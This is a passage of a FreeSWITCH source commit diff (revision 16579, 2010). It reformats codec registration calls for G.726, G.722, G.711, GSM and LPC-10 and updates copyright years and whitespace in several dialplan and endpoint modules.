+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 32k (AAL2)");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 122, /* the IANA code number */
- "AAL2-G726-32", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 122, /* the IANA code number */
+ "AAL2-G726-32", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 32k");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 122, /* the IANA code number */
- "G726-32", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 32000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 122, /* the IANA code number */
+ "G726-32", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 32000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* Increase encoded bytes per frame by 10 */
ebpf = ebpf + 10;
SWITCH_ADD_CODEC(codec_interface, "G.726 40k (AAL2)");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 121, /* the IANA code number */
- "AAL2-G726-40", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 40000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 121, /* the IANA code number */
+ "AAL2-G726-40", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 40000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.726 40k");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 121, /* the IANA code number */
- "G726-40", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 40000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count * 10, /* number of frames per network packet */
- switch_g726_init, /* function to initialize a codec handle using this implementation */
- switch_g726_encode, /* function to encode raw data into encoded data */
- switch_g726_decode, /* function to decode encoded data into raw data */
- switch_g726_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 121, /* the IANA code number */
+ "G726-40", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 40000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count * 10, /* number of frames per network packet */
+ switch_g726_init, /* function to initialize a codec handle using this implementation */
+ switch_g726_encode, /* function to encode raw data into encoded data */
+ switch_g726_decode, /* function to decode encoded data into raw data */
+ switch_g726_destroy); /* deinitalize a codec handle using this implementation */
}
/* G722 */
mpf = 10000, spf = 80, bpf = 320, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "G.722");
for (count = 6; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 9, /* the IANA code number */
- "G722", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 16000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_g722_init, /* function to initialize a codec handle using this implementation */
- switch_g722_encode, /* function to encode raw data into encoded data */
- switch_g722_decode, /* function to decode encoded data into raw data */
- switch_g722_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 9, /* the IANA code number */
+ "G722", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 16000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_g722_init, /* function to initialize a codec handle using this implementation */
+ switch_g722_encode, /* function to encode raw data into encoded data */
+ switch_g722_decode, /* function to decode encoded data into raw data */
+ switch_g722_destroy); /* deinitalize a codec handle using this implementation */
}
#ifdef ENABLE_G711
@@ -881,48 +869,44 @@
mpf = 10000, spf = 80, bpf = 160, ebpf = 80;
SWITCH_ADD_CODEC(codec_interface, "G.711 ulaw");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 0, /* the IANA code number */
- "PCMU", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_g711u_init, /* function to initialize a codec handle using this implementation */
- switch_g711u_encode, /* function to encode raw data into encoded data */
- switch_g711u_decode, /* function to decode encoded data into raw data */
- switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 0, /* the IANA code number */
+ "PCMU", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_g711u_init, /* function to initialize a codec handle using this implementation */
+ switch_g711u_encode, /* function to encode raw data into encoded data */
+ switch_g711u_decode, /* function to decode encoded data into raw data */
+ switch_g711u_destroy); /* deinitalize a codec handle using this implementation */
}
SWITCH_ADD_CODEC(codec_interface, "G.711 alaw");
for (count = 12; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 8, /* the IANA code number */
- "PCMA", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 64000, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- spf * count, /* number of frames per network packet */
- switch_g711a_init, /* function to initialize a codec handle using this implementation */
- switch_g711a_encode, /* function to encode raw data into encoded data */
- switch_g711a_decode, /* function to decode encoded data into raw data */
- switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 8, /* the IANA code number */
+ "PCMA", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 64000, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ spf * count, /* number of frames per network packet */
+ switch_g711a_init, /* function to initialize a codec handle using this implementation */
+ switch_g711a_encode, /* function to encode raw data into encoded data */
+ switch_g711a_decode, /* function to decode encoded data into raw data */
+ switch_g711a_destroy); /* deinitalize a codec handle using this implementation */
}
#endif
@@ -930,47 +914,44 @@
mpf = 20000, spf = 160, bpf = 320, ebpf = 33;
SWITCH_ADD_CODEC(codec_interface, "GSM");
for (count = 6; count > 0; count--) {
- switch_core_codec_add_implementation(pool,
- codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 3, /* the IANA code number */
- "GSM", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 13200, /* bits transferred per second */
- mpf * count, /* number of microseconds per frame */
- spf * count, /* number of samples per frame */
- bpf * count, /* number of bytes per frame decompressed */
- ebpf * count, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- count, /* number of frames per network packet */
- switch_gsm_init, /* function to initialize a codec handle using this implementation */
- switch_gsm_encode, /* function to encode raw data into encoded data */
- switch_gsm_decode, /* function to decode encoded data into raw data */
- switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 3, /* the IANA code number */
+ "GSM", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 13200, /* bits transferred per second */
+ mpf * count, /* number of microseconds per frame */
+ spf * count, /* number of samples per frame */
+ bpf * count, /* number of bytes per frame decompressed */
+ ebpf * count, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ count, /* number of frames per network packet */
+ switch_gsm_init, /* function to initialize a codec handle using this implementation */
+ switch_gsm_encode, /* function to encode raw data into encoded data */
+ switch_gsm_decode, /* function to decode encoded data into raw data */
+ switch_gsm_destroy); /* deinitalize a codec handle using this implementation */
}
/* LPC10 */
#if SWITCH_MAX_INTERVAL >= 90
SWITCH_ADD_CODEC(codec_interface, "LPC-10");
- switch_core_codec_add_implementation(pool, codec_interface,
- SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
- 7, /* the IANA code number */
- "LPC", /* the IANA code name */
- NULL, /* default fmtp to send (can be overridden by the init function) */
- 8000, /* samples transferred per second */
- 8000, /* actual samples transferred per second */
- 2400, /* bits transferred per second */
- 90000, /* number of microseconds per frame */
- 720, /* number of samples per frame */
- 1440, /* number of bytes per frame decompressed */
- 28, /* number of bytes per frame compressed */
- 1, /* number of channels represented */
- 4, /* number of frames per network packet */
- switch_lpc10_init, /* function to initialize a codec handle using this implementation */
- switch_lpc10_encode, /* function to encode raw data into encoded data */
- switch_lpc10_decode, /* function to decode encoded data into raw data */
- switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
+ switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO, /* enumeration defining the type of the codec */
+ 7, /* the IANA code number */
+ "LPC", /* the IANA code name */
+ NULL, /* default fmtp to send (can be overridden by the init function) */
+ 8000, /* samples transferred per second */
+ 8000, /* actual samples transferred per second */
+ 2400, /* bits transferred per second */
+ 90000, /* number of microseconds per frame */
+ 720, /* number of samples per frame */
+ 1440, /* number of bytes per frame decompressed */
+ 28, /* number of bytes per frame compressed */
+ 1, /* number of channels represented */
+ 4, /* number of frames per network packet */
+ switch_lpc10_init, /* function to initialize a codec handle using this implementation */
+ switch_lpc10_encode, /* function to encode raw data into encoded data */
+ switch_lpc10_decode, /* function to decode encoded data into raw data */
+ switch_lpc10_destroy); /* deinitalize a codec handle using this implementation */
#endif
/* indicate that the module should continue to be loaded */
return SWITCH_STATUS_SUCCESS;
Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c (16578 => 16579)
--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_asterisk/mod_dialplan_asterisk.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -297,14 +297,16 @@
switch_endpoint_interface_t *sip_endpoint_interface;
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
switch_io_routines_t sip_io_routines = {
/*.outgoing_channel */ sip_outgoing_channel
};
static switch_call_cause_t sip_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
const char *profile;
@@ -331,14 +333,16 @@
switch_endpoint_interface_t *iax2_endpoint_interface;
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
switch_io_routines_t iax2_io_routines = {
/*.outgoing_channel */ iax2_outgoing_channel
};
static switch_call_cause_t iax2_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause)
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause)
{
UNPROTECT_INTERFACE(iax2_endpoint_interface);
Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c (16578 => 16579)
--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_directory/mod_dialplan_directory.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -150,7 +150,7 @@
switch_safe_free(globals.dn);
switch_safe_free(globals.pass);
switch_safe_free(globals.base);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -161,7 +161,7 @@
memset(&globals, 0, sizeof(globals));
load_config();
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
SWITCH_ADD_DIALPLAN(dp_interface, "directory", directory_dialplan_hunt);
Modified: freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c (16578 => 16579)
--- freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/dialplans/mod_dialplan_xml/mod_dialplan_xml.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -72,10 +72,10 @@
switch_core_session_exec(session, application_interface, arg);
-done:
-
+ done:
+
UNPROTECT_INTERFACE(application_interface);
-
+
return status;
}
@@ -100,7 +100,7 @@
int ovector[30];
switch_bool_t anti_action = SWITCH_TRUE;
break_t do_break_i = BREAK_ON_FALSE;
-
+
const char *xyear = switch_xml_attr(xcond, "year");
const char *xyday = switch_xml_attr(xcond, "yday");
const char *xmon = switch_xml_attr(xcond, "mon");
@@ -125,7 +125,7 @@
}
switch_time_exp_lt(&tm, ts);
-
+
if (time_match && xyear) {
int test = tm.tm_year + 1900;
time_match = switch_number_cmp(xyear, test);
@@ -164,7 +164,7 @@
if (time_match && xmweek) {
/* calculate the day of the week of the first of the month (0-6) */
int firstdow = (int) (7 - (tm.tm_mday - (tm.tm_wday + 1)) % 7) % 7;
- /* calculate the week of the month (1-6)*/
+ /* calculate the week of the month (1-6) */
int test = (int) ceil((tm.tm_mday + firstdow) / 7.0);
time_match = switch_number_cmp(xmweek, test);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
@@ -198,7 +198,7 @@
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
"Dialplan: minute of day[%d] =~ %s (%s)\n", test, xminday, time_match ? "PASS" : "FAIL");
}
-
+
field = (char *) switch_xml_attr(xcond, "field");
if ((xexpression = switch_xml_child(xcond, "expression"))) {
@@ -229,13 +229,13 @@
if (time_match == 1) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
- switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
+ "Dialplan: %s Date/Time Match (PASS) [%s] break=%s\n",
+ switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
anti_action = SWITCH_FALSE;
} else if (time_match == 0) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
- switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
+ "Dialplan: %s Date/Time Match (FAIL) [%s] break=%s\n",
+ switch_channel_get_name(channel), exten_name, do_break_a ? do_break_a : "on-false");
}
if (field) {
@@ -252,21 +252,20 @@
if (!field_data) {
field_data = "";
}
-
+
if ((proceed = switch_regex_perform(field_data, expression, &re, ovector, sizeof(ovector) / sizeof(ovector[0])))) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+ "Dialplan: %s Regex (PASS) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
anti_action = SWITCH_FALSE;
} else {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+ "Dialplan: %s Regex (FAIL) [%s] %s(%s) =~ /%s/ break=%s\n",
switch_channel_get_name(channel), exten_name, field, field_data, expression, do_break_a ? do_break_a : "on-false");
}
} else if (time_match == -1) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Absolute Condition [%s]\n",
- switch_channel_get_name(channel), exten_name);
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+ "Dialplan: %s Absolute Condition [%s]\n", switch_channel_get_name(channel), exten_name);
anti_action = SWITCH_FALSE;
}
@@ -275,7 +274,7 @@
const char *application = switch_xml_attr_soft(xaction, "application");
const char *data;
const char *inline_ = switch_xml_attr_soft(xaction, "inline");
- int xinline = switch_true(inline_);
+ int xinline = switch_true(inline_);
if (!zstr(xaction->txt)) {
data = xaction->txt;
@@ -284,8 +283,7 @@
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s ANTI-Action %s(%s) %s\n",
- switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
+ "Dialplan: %s ANTI-Action %s(%s) %s\n", switch_channel_get_name(channel), application, data, xinline ? "INLINE" : "");
if (!*extension) {
if ((*extension = switch_caller_extension_new(session, exten_name, caller_profile->destination_number)) == 0) {
@@ -340,9 +338,8 @@
}
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s Action %s(%s) %s\n",
- switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+ "Dialplan: %s Action %s(%s) %s\n", switch_channel_get_name(channel), application, app_data, xinline ? "INLINE" : "");
if (xinline) {
@@ -356,9 +353,8 @@
}
switch_regex_safe_free(re);
- if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
- (anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) ||
- do_break_i == BREAK_ALWAYS) {
+ if (((anti_action == SWITCH_FALSE && do_break_i == BREAK_ON_TRUE) ||
+ (anti_action == SWITCH_TRUE && do_break_i == BREAK_ON_FALSE)) || do_break_i == BREAK_ALWAYS) {
break;
}
}
@@ -370,7 +366,8 @@
return proceed;
}
-static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root, switch_xml_t *node)
+static switch_status_t dialplan_xml_locate(switch_core_session_t *session, switch_caller_profile_t *caller_profile, switch_xml_t *root,
+ switch_xml_t *node)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_GENERR;
@@ -457,8 +454,8 @@
exten_name = "UNKNOWN";
}
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
- "Dialplan: %s parsing [%s->%s] continue=%s\n",
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG_CLEAN(session), SWITCH_LOG_DEBUG,
+ "Dialplan: %s parsing [%s->%s] continue=%s\n",
switch_channel_get_name(channel), caller_profile->context, exten_name, cont ? cont : "false");
proceed = parse_exten(session, caller_profile, xexten, &extension);
Modified: freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c (16578 => 16579)
--- freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/directories/mod_ldap/mod_ldap.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c (16578 => 16579)
--- freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/endpoints/mod_alsa/mod_alsa.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -151,7 +151,8 @@
static switch_status_t channel_on_soft_execute(switch_core_session_t *session);
static switch_call_cause_t channel_outgoing_channel(switch_core_session_t *session, switch_event_t *var_event,
switch_caller_profile_t *outbound_profile,
- switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags, switch_call_cause_t *cancel_cause);
+ switch_core_session_t **new_session, switch_memory_pool_t **pool, switch_originate_flag_t flags,
+ switch_call_cause_t *cancel_cause);
static switch_status_t channel_read_frame(switch_core_session_t *session, switch_frame_t **frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_write_frame(switch_core_session_t *session, switch_frame_t *frame, switch_io_flag_t flags, int stream_id);
static switch_status_t channel_kill_channel(switch_core_session_t *session, int sig);
@@ -730,12 +731,12 @@
/*.on_hangup */ channel_on_hangup,
/*.on_exchange_media */ channel_on_exchange_media,
/*.on_soft_execute */ channel_on_soft_execute,
- /*.on_consume_media*/ NULL,
- /*.on_hibernate*/ NULL,
- /*.on_reset*/ NULL,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
